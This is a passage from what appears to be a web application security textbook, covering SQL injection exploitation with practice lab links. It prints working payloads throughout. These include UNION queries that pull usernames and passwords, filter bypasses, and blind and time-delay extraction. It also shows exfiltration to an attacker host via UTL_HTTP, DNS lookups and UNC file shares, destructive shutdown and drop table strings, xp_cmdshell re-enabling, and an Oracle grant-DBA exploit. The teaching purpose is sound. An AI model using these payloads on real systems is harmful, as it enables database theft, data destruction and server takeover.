NAME	E-MAIL
Matthew Adamson	handytrick@gmail.com

TRY IT!

```
http://mdsec.net/addressbook/32/
```

First, we need to determine the required number of columns. Testing for a single column results in an error message:

```
Name=Matthew'%20union%20select%20null--

All queries combined using a UNION, INTERSECT or EXCEPT operator must
have an equal number of expressions in their target lists.
```

We add a second `NULL`, and the same error occurs. So we continue adding `NULL`s until our query is executed, generating an additional item in the results table:

```
Name=Matthew'%20union%20select%20null,null,null,null,null--
```

NAME	E-MAIL
Matthew Adamson	handytrick@gmail.com
[empty]	[empty]

We now verify that the first column in the query contains string data:

```
Name=Matthew'%20union%20select%20'a',null,null,null,null--
```

NAME	E-MAIL
Matthew Adamson	handytrick@gmail.com
a	

The next step is to find out the names of the database tables and columns that may contain interesting information. We can do this by querying the metadata table `information_schema.columns`, which contains details of all tables and column names within the database. These can be retrieved with this query:

```
Name=Matthew'%20union%20select%20table_name,column_name,null,null,
null%20from%20information_schema.columns--
```

NAME	E-MAIL
Matthew Adamson	handytrick@gmail.com
shop_items	price
shop_items	prodid
shop_items	prodname
addr_book	contactemail
addr_book	contactname
users	username
users	password

Here, the users table is an obvious place to begin extracting data. We could extract data from the users table using this query:

```
Name=Matthew'%20UNION%20select%20username,password,null,null,null%20
from%20users--
```

NAME	E-MAIL
Matthew Adamson	handytrick@gmail.com
administrator	fme69
dev	uber
marcus	8pinto
smith	twosixty
jlo	6kdown

TIP The `information_schema` is supported by MS-SQL, MySQL, and many other databases, including SQLite and Postgresql. It is designed to hold database metadata, making it a primary target for attackers wanting to examine the database. Note that Oracle doesn't support this schema. When targeting an Oracle database, the attack would be identical in every other way. However, you would use the query `SELECT table_name,column_name FROM all_tab_columns` to retrieve information about tables and columns in the database. (You would use the `user_tab_columns` table to focus on the current database only.) When analyzing large databases for points of attack, it is usually best to look directly for interesting column names rather than tables. For instance:

```
SELECT table_name,column_name FROM information_schema.columns where
 column_name LIKE '%PASS%'
```

TIP When multiple columns are returned from a target table, these can be concatenated into a single column. This makes retrieval more straightforward, because it requires identification of only a single varchar field in the original query:

- **Oracle:** `SELECT table_name||':'||column_name FROM all_tab_columns`
- **MS-SQL:** `SELECT table_name+':'+column_name from information_schema.columns`
- **MySQL:** `SELECT CONCAT(table_name,':',column_name) from information_schema.columns`

Bypassing Filters

In some situations, an application that is vulnerable to SQL injection may implement various input filters that prevent you from exploiting the flaw without restrictions. For example, the application may remove or sanitize certain characters or may block common SQL keywords. Filters of this kind are often vulnerable to bypasses, so you should try numerous tricks in this situation.

Avoiding Blocked Characters

If the application removes or encodes some characters that are often used in SQL injection attacks, you may still be able to perform an attack without these:

- The single quotation mark is not required if you are injecting into a numeric data field or column name. If you need to introduce a string into your attack payload, you can do this without needing quotes. You can use various string functions to dynamically construct a string using the ASCII codes for individual characters. For example, the following two queries for Oracle and MS-SQL, respectively, are the equivalent of `select ename, sal from emp where ename='marcus'`:

```
SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||
CHR(114)||CHR(99)||CHR(117)||CHR(115)

SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)
+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)
```

- If the comment symbol is blocked, you can often craft your injected data such that it does not break the syntax of the surrounding query, even without using this. For example, instead of injecting:

```
' or 1=1--
```

  you can inject:

```
' or 'a'='a
```

- When attempting to inject batched queries into an MS-SQL database, you do not need to use the semicolon separator. Provided that you fix the syntax of all queries in the batch, the query parser will interpret them correctly, whether or not you include a semicolon.

TRY IT!

```
http://mdsec.net/addressbook/71/
http://mdsec.net/addressbook/76/
```

Circumventing Simple Validation

Some input validation routines employ a simple blacklist and either block or remove any supplied data that appears on this list. In this instance, you should try the standard attacks, looking for common defects in validation and canonicalization mechanisms, as described in Chapter 2. For example, if the `SELECT` keyword is being blocked or removed, you can try the following bypasses:

```
SeLeCt
%00SELECT
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
```

TRY IT!

```
http://mdsec.net/addressbook/58/
http://mdsec.net/addressbook/62/
```

Using SQL Comments

You can insert inline comments into SQL statements in the same way as for C++, by embedding them between the symbols `/*` and `*/`. If the application blocks or strips spaces from your input, you can use comments to simulate whitespace within your injected data. For example:

```
SELECT/*foo*/username,password/*foo*/FROM/*foo*/users
```

In MySQL, comments can even be inserted within keywords themselves, which provides another means of bypassing some input validation filters while preserving the syntax of the actual query. For example:

```
SEL/*foo*/ECT username,password FR/*foo*/OM users
```

Exploiting Defective Filters

Input validation routines often contain logic flaws that you can exploit to smuggle blocked input past the filter. These attacks often exploit the ordering of multiple validation steps, or the failure to apply sanitization logic recursively. Some attacks of this kind are described in Chapter 11.

TRY IT!

```
http://mdsec.net/addressbook/67/
```

Second-Order SQL Injection

A particularly interesting type of filter bypass arises in connection with *second-order* SQL injection. Many applications handle data safely when it is first inserted into the database. Once data is stored in the database, it may later be processed in unsafe ways, either by the application itself or by other back-end processes. Many of these are not of the same quality as the primary Internet-facing application but have high-privileged database accounts.

In some applications, input from the user is validated on arrival by escaping a single quote. In the original book search example, this approach appears to be effective. When the user enters the search term `O'Reilly`, the application makes the following query:

```
SELECT author,title,year FROM books WHERE publisher = 'O''Reilly'
```

Here, the single quotation mark supplied by the user has been converted into two single quotation marks. Therefore, the item passed to the database has the same literal significance as the original expression the user entered.

One problem with the doubling-up approach arises in more complex situations where the same item of data passes through several SQL queries, being written to the database and then read back more than once. This is one example of the shortcomings of simple *input validation* as opposed to *boundary validation*, as described in Chapter 2.

Recall the application that allowed users to self-register and contained a SQL injection flaw in an `INSERT` statement. Suppose that developers attempt to fix the vulnerability by doubling up any single quotation marks that appear within user data. Attempting to register the username `foo'` results in the following query, which causes no problems for the database:

```
INSERT INTO users (username, password, ID, privs) VALUES ('foo''',
 'secret', 2248, 1)
```

So far, so good. However, suppose that the application also implements a password change function. This function is reachable only by authenticated users, but for extra protection, the application requires users to submit their old password. It then verifies that this is correct by retrieving the user's current password from the database and comparing the two strings. To do this, it first retrieves the user's username from the database and then constructs the following query:

```
SELECT password FROM users WHERE username = 'foo''
```

Because the username stored in the database is the literal string `foo'`, this is the value that the database returns when this value is queried. The doubled-up escape sequence is used only at the point where strings are passed into the database. Therefore, when the application reuses this string and embeds it into a second query, a SQL injection flaw arises, and the user's original bad input is embedded directly into the query. When the user attempts to change the password, the application returns the following message, which reveals the flaw:

```
Unclosed quotation mark before the character string 'foo
```

To exploit this vulnerability, an attacker can simply register a username containing his crafted input, and then attempt to change his password. For example, if the following username is registered:

```
' or 1 in (select password from users where username='admin')--
```

the registration step itself will be handled securely. When the attacker tries to change his password, his injected query will be executed, resulting in the following message, which discloses the admin user's password:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'fme69' to a column of data type int.
```

The attacker has successfully bypassed the input validation that was designed to block SQL injection attacks. Now he has a way to execute arbitrary queries within the database and retrieve the results.

TRY IT!

http://mdsec.net/addressbook/107/

Advanced Exploitation

All the attacks described so far have had a ready means of retrieving any useful data that was extracted from the database, such as by performing a `UNION` attack or returning data in an error message. As awareness of SQL injection

threats has evolved, this kind of situation has become gradually less common. It is increasingly the case that the SQL injection flaws that you encounter will be in situations where retrieving the results of your injected queries is not straightforward. We will look at several ways in which this problem can arise, and how you can deal with it.

NOTE **Application owners should be aware that not every attacker is interested in stealing sensitive data. Some may be more destructive. For example, by supplying just 12 characters of input, an attacker could turn off an MS-SQL database with the `shutdown` command:**

```
' shutdown--
```

An attacker could also inject malicious commands to drop individual tables with commands such as these:

```
' drop table users--
' drop table accounts--
' drop table customers--
```

Retrieving Data as Numbers

It is fairly common to find that no string fields within an application are vulnerable to SQL injection, because input containing single quotation marks is being handled properly. However, vulnerabilities may still exist within numeric data fields, where user input is not encapsulated within single quotes. Often in these situations, the only means of retrieving the results of your injected queries is via a numeric response from the application.

In this situation, your challenge is to process the results of your injected queries in such a way that meaningful data can be retrieved in numeric form. Two key functions can be used here:

- `ASCII`, which returns the ASCII code for the input character
- `SUBSTRING` (or `SUBSTR` in Oracle), which returns a substring of its input

These functions can be used together to extract a single character from a string in numeric form. For example:

`SUBSTRING('Admin',1,1)` returns `A`.
`ASCII('A')` returns `65`.

Therefore:

`ASCII(SUBSTR('Admin',1,1))` returns `65`.

Using these two functions, you can systematically cut a string of useful data into its individual characters and return each of these separately, in numeric form. In a scripted attack, this technique can be used to quickly retrieve and reconstruct a large amount of string-based data one byte at a time.

TIP **There are numerous subtle variations in how different database platforms handle string manipulation and numeric computation, which you may need to take into account when performing advanced attacks of this kind. An excellent guide to these differences covering many different databases can be found at `http://sqlzoo.net/howto/source/z.dir/i08fun.xml`.**

In a variation on this situation, the authors have encountered cases in which what is returned by the application is not an actual number, but a resource for which that number is an identifier. The application performs a SQL query based on user input, obtains a numeric identifier for a document, and then returns the document's contents to the user. In this situation, an attacker can first obtain a copy of every document whose identifiers are within the relevant numeric range and construct a mapping of document contents to identifiers. Then, when performing the attack described previously, the attacker can consult this map to determine the identifier for each document received from the application and thereby retrieve the ASCII value of the character he has successfully extracted.

Using an Out-of-Band Channel

In many cases of SQL injection, the application does not return the results of any injected query to the user's browser, nor does it return any error messages generated by the database. In this situation, it may appear that your position is futile. Even if a SQL injection flaw exists, it surely cannot be exploited to extract arbitrary data or perform any other action. This appearance is false, however. You can try various techniques to retrieve data and verify that other malicious actions have been successful.

There are many circumstances in which you may be able to inject an arbitrary query but not retrieve its results. Recall the example of the vulnerable login form, where the username and password fields are vulnerable to SQL injection:

```
SELECT * FROM users WHERE username = 'marcus' and password = 'secret'
```

In addition to modifying the query's logic to bypass the login, you can inject an entirely separate subquery using string concatenation to join its results to the item you control. For example:

```
foo' ||  (SELECT 1 FROM dual WHERE (SELECT username FROM all_users WHERE
 username = 'DBSNMP') = 'DBSNMP')--
```

This causes the application to perform the following query:

```
SELECT * FROM users WHERE username = 'foo' || (SELECT 1 FROM dual WHERE
 (SELECT username FROM all_users WHERE username = 'DBSNMP') = 'DBSNMP')
```

The database executes your arbitrary subquery, appends its results to `foo`, and then looks up the details of the resulting username. Of course, the login will fail, but your injected query will have been executed. All you will receive back in the application's response is the standard login failure message. What you then need is a way to retrieve the results of your injected query.

A different situation arises when you can employ batch queries against MS-SQL databases. Batch queries are extremely useful, because they allow you to execute an entirely separate statement over which you have full control, using a different SQL verb and targeting a different table. However, because of how batch queries are carried out, the results of an injected query cannot be retrieved directly. Again, you need a means of retrieving the lost results of your injected query.

One method for retrieving data that is often effective in this situation is to use an out-of-band channel. Having achieved the ability to execute arbitrary SQL statements within the database, it is often possible to leverage some of the database's built-in functionality to create a network connection back to your own computer, over which you can transmit arbitrary data that you have gathered from the database.

The means of creating a suitable network connection are highly database-dependent. Different methods may or may not be available given the privilege level of the database user with which the application is accessing the database. Some of the most common and effective techniques for each type of database are described here.

MS-SQL

On older databases such as MS-SQL 2000 and earlier, the `OpenRowSet` command can be used to open a connection to an external database and insert arbitrary data into it. For example, the following query causes the target database to open a connection to the attacker's database and insert the version string of the target database into the table called `foo`:

```
insert into openrowset('SQLOLEDB',
'DRIVER={SQL Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein',
'select * from foo') values (@@version)
```

Note that you can specify port 80, or any other likely value, to increase your chance of making an outbound connection through any firewalls.

Oracle

Oracle contains a large amount of default functionality that is accessible by low-privileged users and that can be used to create an out-of-band connection.

The `UTL_HTTP` package can be used to make arbitrary HTTP requests to other hosts. `UTL_HTTP` contains rich functionality and supports proxy servers, cookies, redirects, and authentication. This means that an attacker who has compromised

a database on a highly restricted internal corporate network may be able to leverage a corporate proxy to initiate outbound connections to the Internet.

In the following example, UTL_HTTP is used to transmit the results of an injected query to a server controlled by the attacker:

```
/employees.asp?EmpNo=7521'||UTL_HTTP.request('mdattacker.net:80/'||
(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--
```

This URL causes UTL_HTTP to make a GET request for a URL containing the first username in the table all_users. The attacker can simply set up a netcat listener on mdattacker.net to receive the result:

```
C:\>nc -nLp 80
GET /SYS HTTP/1.1
Host: mdattacker.net
Connection: close
```

The UTL_INADDR package is designed to be used to resolve hostnames to IP addresses. It can be used to generate arbitrary DNS queries to a server controlled by the attacker. In many situations, this is more likely to succeed than the UTL_HTTP attack, because DNS traffic is often allowed out through corporate firewalls even when HTTP traffic is restricted. The attacker can leverage this package to perform a lookup on a hostname of his choice, effectively retrieving arbitrary data by prepending it as a subdomain to a domain name he controls. For example:

```
/employees.asp?EmpNo=7521'||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%
20FROM%20DBA_USERS%20WHERE%20NAME='SYS')||'.mdattacker.net')
```

This results in a DNS query to the mdattacker.net name server containing the SYS user's password hash:

```
DCB748A5BC5390F2.mdattacker.net
```

The UTL_SMTP package can be used to send e-mails. This facility can be used to retrieve large volumes of data captured from the database by sending this in outbound e-mails.

The UTL_TCP package can be used to open arbitrary TCP sockets to send and receive network data.

NOTE On Oracle 11g, an additional ACL protects many of the resources just described from execution by any arbitrary database user. An easy way around this is to dip into the new functionality provided in Oracle 11g and use this code:

```
SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE
 NAME='SYS')||'.mdsec.net',80)
```

MySQL

The `SELECT ... INTO OUTFILE` command can be used to direct the output from an arbitrary query into a file. The specified filename may contain a UNC path, enabling you to direct the output to a file on your own computer. For example:

```
select * into outfile '\\\\mdattacker.net\\share\\output.txt' from users;
```

To receive the file, you need to create an SMB share on your computer that allows anonymous write access. You can configure shares on both Windows and UNIX-based platforms to behave in this way. If you have difficulty receiving the exported file, this may result from a configuration issue in your SMB server. You can use a sniffer to confirm whether the target server is initiating any inbound connections to your computer. If it is, consult your server documentation to ensure that it is configured correctly.

Leveraging the Operating System

It is often possible to perform escalation attacks via the database that result in execution of arbitrary commands on the operating system of the database server itself. In this situation, many more avenues are available to you for retrieving data, such as using built-in commands like `tftp`, `mail`, and `telnet`, or copying data into the web root for retrieval using a browser. See the later section "Beyond SQL Injection" for techniques for escalating privileges on the database itself.

Using Inference: Conditional Responses

There are many reasons why an out-of-band channel may be unavailable. Most commonly this occurs because the database is located within a protected network whose perimeter firewalls do not allow any outbound connections to the Internet or any other network. In this situation, you are restricted to accessing the database entirely via your injection point into the web application.

In this situation, working more or less blind, you can use many techniques to retrieve arbitrary data from within the database. These techniques are all based on the concept of using an injected query to conditionally trigger some detectable behavior by the database and then inferring a required item of information on the basis of whether this behavior occurs.

Recall the vulnerable login function where the username and password fields can be injected into to perform arbitrary queries:

```
SELECT * FROM users WHERE username = 'marcus' and password = 'secret'
```

Suppose that you have not identified any method of transmitting the results of your injected queries back to the browser. Nevertheless, you have already seen how you can use SQL injection to modify the application's behavior.

For example, submitting the following two pieces of input causes very different results:

```
admin' AND 1=1--
admin' AND 1=2--
```

In the first case, the application logs you in as the admin user. In the second case, the login attempt fails, because the `1=2` condition is always false. You can leverage this control of the application's behavior as a means of inferring the truth or falsehood of arbitrary conditions within the database itself. For example, using the `ASCII` and `SUBSTRING` functions described previously, you can test whether a specific character of a captured string has a specific value. For example, submitting this piece of input logs you in as the admin user, because the condition tested is true:

```
admin' AND ASCII(SUBSTRING('Admin',1,1)) = 65--
```

Submitting the following input, however, results in a failed login, because the condition tested is false:

```
admin' AND ASCII(SUBSTRING('Admin',1,1)) = 66--
```

By submitting a large number of such queries, cycling through the range of likely ASCII codes for each character until a hit occurs, you can extract the entire string, one byte at a time.

Inducing Conditional Errors

In the preceding example, the application contained some prominent functionality whose logic could be directly controlled by injecting into an existing SQL query. The application's designed behavior (a successful versus a failed login) could be hijacked to return a single item of information to the attacker. However, not all situations are this straightforward. In some cases, you may be injecting into a query that has no noticeable effect on the application's behavior, such as a logging mechanism. In other cases, you may be injecting a subquery or a batched query whose results are not processed by the application in any way. In this situation, you may struggle to find a way to cause a detectable difference in behavior that is contingent on a specified condition.

David Litchfield devised a technique that can be used to trigger a detectable difference in behavior in most circumstances. The core idea is to inject a query that induces a database error contingent on some specified condition. When a database error occurs, it is often externally detectable, either through an HTTP 500 response code or through some kind of error message or anomalous behavior (even if the error message itself does not disclose any useful information).

The technique relies on a feature of database behavior when evaluating conditional statements: the database evaluates only those parts of the statement that need to be evaluated given the status of other parts. An example of this behavior is a `SELECT` statement containing a `WHERE` clause:

```
SELECT X FROM Y WHERE C
```

This causes the database to work through each row of table `Y`, evaluating condition `C`, and returning `X` in those cases where condition `C` is true. If condition `C` is never true, the expression `X` is never evaluated.

This behavior can be exploited by finding an expression `X` that is syntactically valid but that generates an error if it is ever evaluated. An example of such an expression in Oracle and MS-SQL is a divide-by-zero computation, such as `1/0`. If condition `C` is ever true, expression `X` is evaluated, causing a database error. If condition `C` is always false, no error is generated. You can, therefore, use the presence or absence of an error to test an arbitrary condition `C`.

An example of this is the following query, which tests whether the default Oracle user `DBSNMP` exists. If this user exists, the expression `1/0` is evaluated, causing an error:

```
SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username =
 'DBSNMP') = 'DBSNMP'
```

The following query tests whether an invented user `AAAAAA` exists. Because the `WHERE` condition is never true, the expression `1/0` is not evaluated, so no error occurs:

```
SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username =
 'AAAAAA') = 'AAAAAA'
```

What this technique achieves is a way of inducing a conditional response within the application, even in cases where the query you are injecting has no impact on the application's logic or data processing. It therefore enables you to use the inference techniques described previously to extract data in a wide range of situations. Furthermore, because of the technique's simplicity, the same attack strings will work on a range of databases, and where the injection point is into various types of SQL statements.

This technique is also versatile because it can be used in all kinds of injection points where a subquery can be injected. For example:

```
(select 1 where <<condition>> or 1/0=0)
```

Consider an application that provides a searchable and sortable contacts database. The user controls the parameters `department` and `sort`:

```
/search.jsp?department=30&sort=ename
```

This appears in the following back-end query, which parameterizes the `department` parameter but concatenates the `sort` parameter onto the query:

```
String queryText = "SELECT ename,job,deptno,hiredate FROM emp WHERE deptno = ?
 ORDER BY " + request.getParameter("sort") + " DESC";
```

It is not possible to alter the `WHERE` clause, or issue a `UNION` query after an `ORDER BY` clause; however, an attacker can create an inference condition by issuing the following statement:

```
/search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20
(select%20substr(max(object_name),1,1)%20FROM%20user_objects)='Y')
```

If the first letter of the first object name in the `user_objects` table is equal to `'Y'`, this will cause the database to attempt to evaluate 1/0. This will result in an error, and no results will be returned by the overall query. If the letter is not equal to `'Y'`, results from the original query will be returned in the default order. Carefully supplying this condition to an SQL injection tool such as Absinthe or SQLMap, we can retrieve every record in the database.

Using Time Delays

Despite all the sophisticated techniques already described, there may yet be situations in which none of these tricks are effective. In some cases, you may be able to inject a query that returns no results to the browser, cannot be used to open an out-of-band channel, and that has no effect on the application's behavior, even if it induces an error within the database itself.

In this situation, all is not lost, thanks to a technique invented by Chris Anley and Sherief Hammad of NGSSoftware. They devised a way of crafting a query that would cause a time delay, contingent on some condition specified by the attacker. The attacker can submit his query and then monitor the time taken for the server to respond. If a delay occurs, the attacker may infer that the condition is true. Even if the actual content of the application's response is identical in the two cases, the presence or absence of a time delay enables the attacker to extract a single bit of information from the database. By performing numerous such queries, the attacker can systematically retrieve arbitrarily complex data from the database one bit at a time.

The precise means of inducing a suitable time delay depends on the target database being used. MS-SQL contains a built-in `WAITFOR` command, which can be used to cause a specified time delay. For example, the following query causes a time delay of 5 seconds if the current database user is `sa`:

```
if (select user) = 'sa' waitfor delay '0:0:5'
```

Equipped with this command, the attacker can retrieve arbitrary information in various ways. One method is to leverage the same technique already described for the case where the application returns conditional responses. Now, instead of triggering a different application response when a particular condition is detected, the injected query induces a time delay. For example, the second of these queries causes a time delay, indicating that the first letter of the captured string is A:

```
if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5'
if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'
```

As before, the attacker can cycle through all possible values for each character until a time delay occurs. Alternatively, the attack could be made more efficient by reducing the number of requests needed. An additional technique is to break each byte of data into individual bits and retrieve each bit in a single query. The `POWER` command and the bitwise `AND` operator `&` can be used to specify conditions on a bit-by-bit basis. For example, the following query tests the first bit of the first byte of the captured data and pauses if it is 1:

```
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'
```

The following query performs the same test on the second bit:

```
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'
```

As mentioned earlier, the means of inducing a time delay are highly database-dependent. In current versions of MySQL, the sleep function can be used to create a time delay for a specified number of milliseconds:

```
select if(user() like 'root@%', sleep(5000), 'false')
```

In versions of MySQL prior to 5.0.12, the sleep function cannot be used. An alternative is the benchmark function, which can be used to perform a specified action repeatedly. Instructing the database to perform a processor-intensive action, such as a SHA-1 hash, many times will result in a measurable time delay. For example:

```
select if(user() like 'root@%', benchmark(50000,sha1('test')), 'false')
```

In PostgreSQL, the `PG_SLEEP` function can be used in the same way as the MySQL sleep function.

Oracle has no built-in method to perform a time delay, but you can use other tricks to cause a time delay to occur. One trick is to use `UTL_HTTP` to

connect to a nonexistent server, causing a timeout. This causes the database to attempt to connect to the specified server and eventually time out. For example:

```
SELECT 'a'||Utl_Http.request('http://madeupserver.com') from dual
...delay...
ORA-29273: HTTP request failed
ORA-06512: at "SYS.UTL_HTTP", line 1556
ORA-12545: Connect failed because target host or object does not exist
```

You can leverage this behavior to cause a time delay contingent on some condition that you specify. For example, the following query causes a timeout if the default Oracle account `DBSNMP` exists:

```
SELECT 'a'||Utl_Http.request('http://madeupserver.com') FROM dual WHERE
 (SELECT username FROM all_users WHERE username = 'DBSNMP') = 'DBSNMP'
```

In both Oracle and MySQL databases, you can use the `SUBSTR(ING)` and `ASCII` functions to retrieve arbitrary information one byte at a time, as described previously.

TIP **We have described the use of time delays as a means of extracting interesting information. However, the time-delay technique can also be immensely useful when performing initial probing of an application to detect SQL injection vulnerabilities. In some cases of completely blind SQL injection, where no results are returned to the browser and all errors are handled invisibly, the vulnerability itself may be hard to detect using standard techniques based on supplying crafted input. In this situation, using time delays is often the most reliable way to detect the presence of a vulnerability during initial probing. For example, if the back-end database is MS-SQL, you can inject each of the following strings into each request parameter in turn and monitor how long the application takes to identify any vulnerabilities:**

```
'; waitfor delay '0:30:0'--
1; waitfor delay '0:30:0'--
```

TRY IT!

This lab example contains a SQL injection vulnerability with no error feedback. You can use it to practice various advanced techniques, including the use of conditional responses and time delays.

`http://mdsec.net/addressbook/44/`

Beyond SQL Injection: Escalating the Database Attack

A successful exploit of a SQL injection vulnerability often results in total compromise of all application data. Most applications employ a single account for all database access and rely on application-layer controls to enforce segregation of access between different users. Gaining unrestricted use of the application's database account results in access to all its data.

You may suppose, therefore, that owning all the application's data is the finishing point of a SQL injection attack. However, there are many reasons why it might be productive to advance your attack further, either by exploiting a vulnerability within the database itself or by harnessing some of its built-in functionality to achieve your objectives. Further attacks that can be performed by escalating the database attack include the following:

- If the database is shared with other applications, you may be able to escalate privileges within the database and gain access to other applications' data.
- You may be able to compromise the operating system of the database server.
- You may be able to gain network access to other systems. Typically, the database server is hosted on a protected network behind several layers of network perimeter defenses. From the database server, you may be in a trusted position and be able to reach key services on other hosts, which may be further exploitable.
- You may be able to make network connections back out of the hosting infrastructure to your own computer. This may enable you to bypass the application, easily transmitting large amounts of sensitive data gathered from the database, and often evading many intrusion detection systems.
- You may be able to extend the database's existing functionality in arbitrary ways by creating user-defined functions. In some situations, this may enable you to circumvent hardening that has been performed on the database by effectively reimplementing functionality that has been removed or disabled. There is a method for doing this in each of the mainstream databases, provided that you have gained database administrator (DBA) privileges.

COMMON MYTH

Many database administrators assume that it is unnecessary to defend the database against attacks that require authentication to exploit. They may reason that the database is accessed by only a trusted application that is owned by the same organization. This ignores the possibility that a flaw within the application may enable a malicious third party to interact with the database within the application's security context. Each of the possible attacks just described should illustrate why databases need to be defended against authenticated attackers.

Attacking databases is a huge topic that is beyond the scope of this book. This section points you toward a few key ways in which vulnerabilities and functionality within the main database types can be leveraged to escalate your attack. The key conclusion to draw is that every database contains ways to escalate privileges. Applying current security patches and robust hardening can help mitigate many of these attacks, but not all of them. For further reading on this highly fruitful area of current research, we recommend *The Database Hacker's Handbook* (Wiley, 2005).

MS-SQL

Perhaps the most notorious piece of database functionality that an attacker can misuse is the `xp_cmdshell` stored procedure, which is built into MS-SQL by default. This stored procedure allows users with DBA permissions to execute operating system commands in the same way as the `cmd.exe` command prompt. For example:

```
master..xp_cmdshell 'ipconfig > foo.txt'
```

The opportunity for an attacker to misuse this functionality is huge. He can perform arbitrary commands, pipe the results to local files, and read them back. He can open out-of-band network connections back to himself and create a backdoor command and communications channel, copying data from the server and uploading attack tools. Because MS-SQL runs by default as `LocalSystem`, the attacker typically can fully compromise the underlying operating system, performing arbitrary actions. MS-SQL contains a wealth of other extended stored procedures, such as `xp_regread` and `xp_regwrite`, that can be used to perform powerful actions within the registry of the Windows operating system.

Dealing with Default Lockdown

Most installations of MS-SQL encountered on the Internet will be MS-SQL 2005 or later. These versions contain numerous security features that lock down the database by default, preventing many useful attack techniques from working.

However, if the web application's user account within the database is sufficiently high-privileged, it is possible to overcome these obstacles simply by reconfiguring the database. For example, if `xp_cmdshell` is disabled, it can be re-enabled with the `sp_configure` stored procedure. The following four lines of SQL do this:

```
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXECUTE sp_configure 'xp_cmdshell', '1'
RECONFIGURE WITH OVERRIDE
```

At this point, `xp_cmdshell` is re-enabled and can be run with the usual command:

```
exec xp_cmdshell 'dir'
```

Oracle

A huge number of security vulnerabilities have been found within the Oracle database software itself. If you have found a SQL injection vulnerability that enables you to perform arbitrary queries, typically you can escalate to DBA privileges by exploiting one of these vulnerabilities.

Oracle contains many built-in stored procedures that execute with DBA privileges and have been found to contain SQL injection flaws within the procedures themselves. A typical example of such a flaw existed in the default package `SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES` prior to the July 2006 critical patch update. This can be exploited to escalate privileges by injecting the query `grant DBA to public` into the vulnerable field:

```
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH',
'TEXTINDEXMETHODS".ODCIIndexUtilCleanup(:p1); execute immediate
''declare pragma autonomous_transaction; begin execute immediate
''''grant dba to public'''' ; end;''; END;--','CTXSYS',1,'1',0) from dual
```

This type of attack could be delivered via a SQL injection flaw in a web application by injecting the function into the vulnerable parameter.

In addition to actual vulnerabilities like these, Oracle also contains a large amount of default functionality. It is accessible by low-privileged users and can be used to perform undesirable actions, such as initiating network connections or accessing the filesystem. In addition to the powerful packages already described for creating out-of-band connections, the package `UTL_FILE` can be used to read from and write to files on the database server filesystem.

In 2010, David Litchfield demonstrated how Java can be abused in Oracle 10g R2 and 11g to execute operating system commands. This attack first exploits a flaw in `DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY` to grant the current user the permission `java.io.filepermission`. The attack then executes a Java class (`oracle/aurora/util/Wrapper`) that runs an OS command, using `DBMS_JAVA.RUNJAVA`. For example:

```
DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\
cmd.exe /c dir>c:\\OUT.LST')
```

More details can be found here:

- `www.databasesecurity.com/HackingAurora.pdf`
- `www.notsosecure.com/folder2/2010/08/02/blackhat-2010/`

MySQL

Compared to the other databases covered, MySQL contains relatively little built-in functionality that an attacker can misuse. One example is the ability of any user with the `FILE_PRIV` permission to read and write to the filesystem.

The `LOAD_FILE` command can be used to retrieve the contents of any file. For example:

```
select load_file('/etc/passwd')
```

The `SELECT ... INTO OUTFILE` command can be used to pipe the results of any query into a file. For example:

```
create table test (a varchar(200))
insert into test(a) values ('+ +')
select * from test into outfile '/etc/hosts.equiv'
```

In addition to reading and writing key operating system files, this capability can be used to perform other attacks:

- Because MySQL stores its data in plaintext files, to which the database must have read access, an attacker with `FILE_PRIV` permissions can simply open the relevant file and read arbitrary data from within the database, bypassing any access controls enforced within the database itself.
- MySQL enables users to create user-defined functions (UDFs) by calling out to a compiled library file that contains the function's implementation. This file must be located within the normal path from which MySQL loads dynamic libraries. An attacker can use the preceding method to create an arbitrary binary file within this path and then create a UDF that uses it. Refer to Chris Anley's paper "Hackproofing MySQL" for more details on this technique.

Using SQL Exploitation Tools

Many of the techniques we have described for exploiting SQL injection vulnerabilities involve performing large numbers of requests to extract small amounts of data at a time. Fortunately, numerous tools are available that automate much of this process and that are aware of the database-specific syntax required to deliver successful attacks.

Most of the currently available tools use the following approach to exploit SQL injection vulnerabilities:

- Brute-force all parameters in the target request to locate SQL injection points.

- Determine the location of the vulnerable field within the back-end SQL query by appending various characters such as closing brackets, comment characters, and SQL keywords.
- Attempt to perform a `UNION` attack by brute-forcing the number of required columns and then identifying a column with the `varchar` data type, which can be used to return results.
- Inject custom queries to retrieve arbitrary data — if necessary, concatenating data from multiple columns into a string that can be retrieved through a single result of the `varchar` data type.
- If results cannot be retrieved using `UNION`, inject Boolean conditions (`AND 1=1`, `AND 1=2`, and so on) into the query to determine whether conditional responses can be used to retrieve data.
- If results cannot be retrieved by injecting conditional expressions, try using conditional time delays to retrieve data.

These tools locate data by querying the relevant metadata tables for the database in question. Generally they can perform some level of escalation, such as using `xp_cmdshell` to gain OS-level access. They also use various optimization techniques, making use of the many features and built-in functions in the various databases to decrease the number of necessary queries in an inference-based brute-force attack, evade potential filters on single quotes, and more.

